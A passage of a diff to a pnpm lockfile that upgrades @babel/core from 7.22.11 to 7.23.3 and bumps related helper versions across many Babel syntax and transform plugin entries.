     resolution: {integrity: sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
@@ -1218,77 +1103,77 @@ packages:
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-logical-assignment-operators@7.10.4(@babel/core@7.22.11):
+  /@babel/plugin-syntax-logical-assignment-operators@7.10.4(@babel/core@7.23.3):
     resolution: {integrity: sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-nullish-coalescing-operator@7.8.3(@babel/core@7.22.11):
+  /@babel/plugin-syntax-nullish-coalescing-operator@7.8.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-numeric-separator@7.10.4(@babel/core@7.22.11):
+  /@babel/plugin-syntax-numeric-separator@7.10.4(@babel/core@7.23.3):
     resolution: {integrity: sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-object-rest-spread@7.8.3(@babel/core@7.22.11):
+  /@babel/plugin-syntax-object-rest-spread@7.8.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-optional-catch-binding@7.8.3(@babel/core@7.22.11):
+  /@babel/plugin-syntax-optional-catch-binding@7.8.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-optional-chaining@7.8.3(@babel/core@7.22.11):
+  /@babel/plugin-syntax-optional-chaining@7.8.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-private-property-in-object@7.14.5(@babel/core@7.22.11):
+  /@babel/plugin-syntax-private-property-in-object@7.14.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-top-level-await@7.14.5(@babel/core@7.22.11):
+  /@babel/plugin-syntax-top-level-await@7.14.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
@@ -1302,507 +1187,507 @@ packages:
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-unicode-sets-regex@7.18.6(@babel/core@7.22.11):
+  /@babel/plugin-syntax-unicode-sets-regex@7.18.6(@babel/core@7.23.3):
     resolution: {integrity: sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-arrow-functions@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-arrow-functions@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-async-generator-functions@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-async-generator-functions@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-gGOEvFzm3fWoyD5uZq7vVTD57pPJ3PczPUD/xCFGjzBpUosnklmXyKnGQbbbGs1NPNPskFex0j93yKbHt0cHyg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-environment-visitor': 7.22.5
+      '@babel/core': 7.23.3
+      '@babel/helper-environment-visitor': 7.22.20
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/helper-remap-async-to-generator': 7.22.5(@babel/core@7.22.11)
-      '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.22.11)
+      '@babel/helper-remap-async-to-generator': 7.22.5(@babel/core@7.23.3)
+      '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.23.3)
     transitivePeerDependencies:
       - supports-color
     dev: true
 
-  /@babel/plugin-transform-async-to-generator@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-async-to-generator@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-module-imports': 7.22.5
+      '@babel/core': 7.23.3
+      '@babel/helper-module-imports': 7.22.15
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/helper-remap-async-to-generator': 7.22.5(@babel/core@7.22.11)
+      '@babel/helper-remap-async-to-generator': 7.22.5(@babel/core@7.23.3)
     transitivePeerDependencies:
       - supports-color
     dev: true
 
-  /@babel/plugin-transform-block-scoped-functions@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-block-scoped-functions@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-block-scoping@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-block-scoping@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-EcACl1i5fSQ6bt+YGuU/XGCeZKStLmyVGytWkpyhCLeQVA0eu6Wtiw92V+I1T/hnezUv7j74dA/Ro69gWcU+hg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-class-properties@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-class-properties@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-nDkQ0NfkOhPTq8YCLiWNxp1+f9fCobEjCb0n8WdbNUBc4IB5V7P1QnX9IjpSoquKrXF5SKojHleVNs2vGeHCHQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-class-features-plugin': 7.22.11(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-class-features-plugin': 7.22.15(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-class-static-block@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-class-static-block@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-SPToJ5eYZLxlnp1UzdARpOGeC2GbHvr9d/UV0EukuVx8atktg194oe+C5BqQ8jRTkgLRVOPYeXRSBg1IlMoVRA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.12.0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-class-features-plugin': 7.22.11(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-class-features-plugin': 7.22.15(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.22.11)
+      '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-classes@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-classes@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-2edQhLfibpWpsVBx2n/GKOz6JdGQvLruZQfGr9l1qes2KQaWswjBzhQF7UDUZMNaMMQeYnQzxwOMPsbYF7wqPQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-annotate-as-pure': 7.22.5
-      '@babel/helper-compilation-targets': 7.22.10
-      '@babel/helper-environment-visitor': 7.22.5
-      '@babel/helper-function-name': 7.22.5
+      '@babel/helper-compilation-targets': 7.22.15
+      '@babel/helper-environment-visitor': 7.22.20
+      '@babel/helper-function-name': 7.23.0
       '@babel/helper-optimise-call-expression': 7.22.5
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/helper-replace-supers': 7.22.9(@babel/core@7.22.11)
+      '@babel/helper-replace-supers': 7.22.20(@babel/core@7.23.3)
       '@babel/helper-split-export-declaration': 7.22.6
       globals: 11.12.0
     dev: true
 
-  /@babel/plugin-transform-computed-properties@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-computed-properties@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/template': 7.22.5
+      '@babel/template': 7.22.15
     dev: true
 
-  /@babel/plugin-transform-destructuring@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-destructuring@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-GfqcFuGW8vnEqTUBM7UtPd5A4q797LTvvwKxXTgRsFjoqaJiEg9deBG6kWeQYkVEL569NpnmpC0Pkr/8BLKGnQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-dotall-regex@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-dotall-regex@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-duplicate-keys@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-duplicate-keys@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-dynamic-import@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-dynamic-import@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-0MC3ppTB1AMxd8fXjSrbPa7LT9hrImt+/fcj+Pg5YMD7UQyWp/02+JWpdnCymmsXwIx5Z+sYn1bwCn4ZJNvhqQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.22.11)
+      '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-exponentiation-operator@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-exponentiation-operator@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-builder-binary-assignment-operator-visitor': 7.22.5
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-export-namespace-from@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-export-namespace-from@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-X4hhm7FRnPgd4nDA4b/5V280xCx6oL7Oob5+9qVS5C13Zq4bh1qq7LU0GgRU6b5dBWBvhGaXYVB4AcN6+ol6vg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.22.11)
+      '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-for-of@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-for-of@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-function-name@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-function-name@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-compilation-targets': 7.22.10
-      '@babel/helper-function-name': 7.22.5
+      '@babel/core': 7.23.3
+      '@babel/helper-compilation-targets': 7.22.15
+      '@babel/helper-function-name': 7.23.0
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-json-strings@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-json-strings@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-DuCRB7fu8MyTLbEQd1ew3R85nx/88yMoqo2uPSjevMj3yoN7CDM8jkgrY0wmVxfJZyJ/B9fE1iq7EQppWQmR5A==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.22.11)
+      '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-literals@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-literals@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-logical-assignment-operators@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-logical-assignment-operators@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-MQQOUW1KL8X0cDWfbwYP+TbVbZm16QmQXJQ+vndPtH/BoO0lOKpVoEDMI7+PskYxH+IiE0tS8xZye0qr1lGzSA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.22.11)
+      '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-member-expression-literals@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-member-expression-literals@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-modules-amd@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-modules-amd@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-module-transforms': 7.22.9(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-module-transforms': 7.23.3(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-modules-commonjs@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-modules-commonjs@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-module-transforms': 7.22.9(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-module-transforms': 7.23.3(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
       '@babel/helper-simple-access': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-modules-systemjs@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-modules-systemjs@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-hoist-variables': 7.22.5
-      '@babel/helper-module-transforms': 7.22.9(@babel/core@7.22.11)
+      '@babel/helper-module-transforms': 7.23.3(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/helper-validator-identifier': 7.22.5
+      '@babel/helper-validator-identifier': 7.22.20
     dev: true
 
-  /@babel/plugin-transform-modules-umd@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-modules-umd@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-module-transforms': 7.22.9(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-module-transforms': 7.23.3(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-named-capturing-groups-regex@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-named-capturing-groups-regex@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-new-target@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-new-target@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-transform-nullish-coalescing-operator@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-nullish-coalescing-operator@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-6CF8g6z1dNYZ/VXok5uYkkBBICHZPiGEl7oDnAx2Mt1hlHVHOSIKWJaXHjQJA5VB43KZnXZDIexMchY4y2PGdA==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.22.11)
+      '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-numeric-separator@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-numeric-separator@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-NbslED1/6M+sXiwwtcAB/nieypGw02Ejf4KtDeMkCEpP6gWFMX1wI9WKYua+4oBneCCEmulOkRpwywypVZzs/g==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.22.11)
+      '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-object-rest-spread@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-object-rest-spread@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-Kk3lyDmEslH9DnvCDA1s1kkd3YWQITiBOHngOtDL9Pt6BZjzqb6hiOlb8VfjiiQJ2unmegBqZu0rx5RxJb5vmQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
       '@babel/compat-data': 7.22.9
-      '@babel/core': 7.22.11
-      '@babel/helper-compilation-targets': 7.22.10
+      '@babel/core': 7.23.3
+      '@babel/helper-compilation-targets': 7.22.15
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.22.11)
-      '@babel/plugin-transform-parameters': 7.22.5(@babel/core@7.22.11)
+      '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.23.3)
+      '@babel/plugin-transform-parameters': 7.22.5(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-object-super@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-object-super@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/helper-replace-supers': 7.22.9(@babel/core@7.22.11)
+      '@babel/helper-replace-supers': 7.22.20(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-optional-catch-binding@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-optional-catch-binding@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-pH8orJahy+hzZje5b8e2QIlBWQvGpelS76C63Z+jhZKsmzfNaPQ+LaW6dcJ9bxTpo1mtXbgHwy765Ro3jftmUg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
-      '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.22.11)
+      '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-transform-optional-chaining@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-transform-optional-chaining@7.22.5(@babel/core@7.23.3):
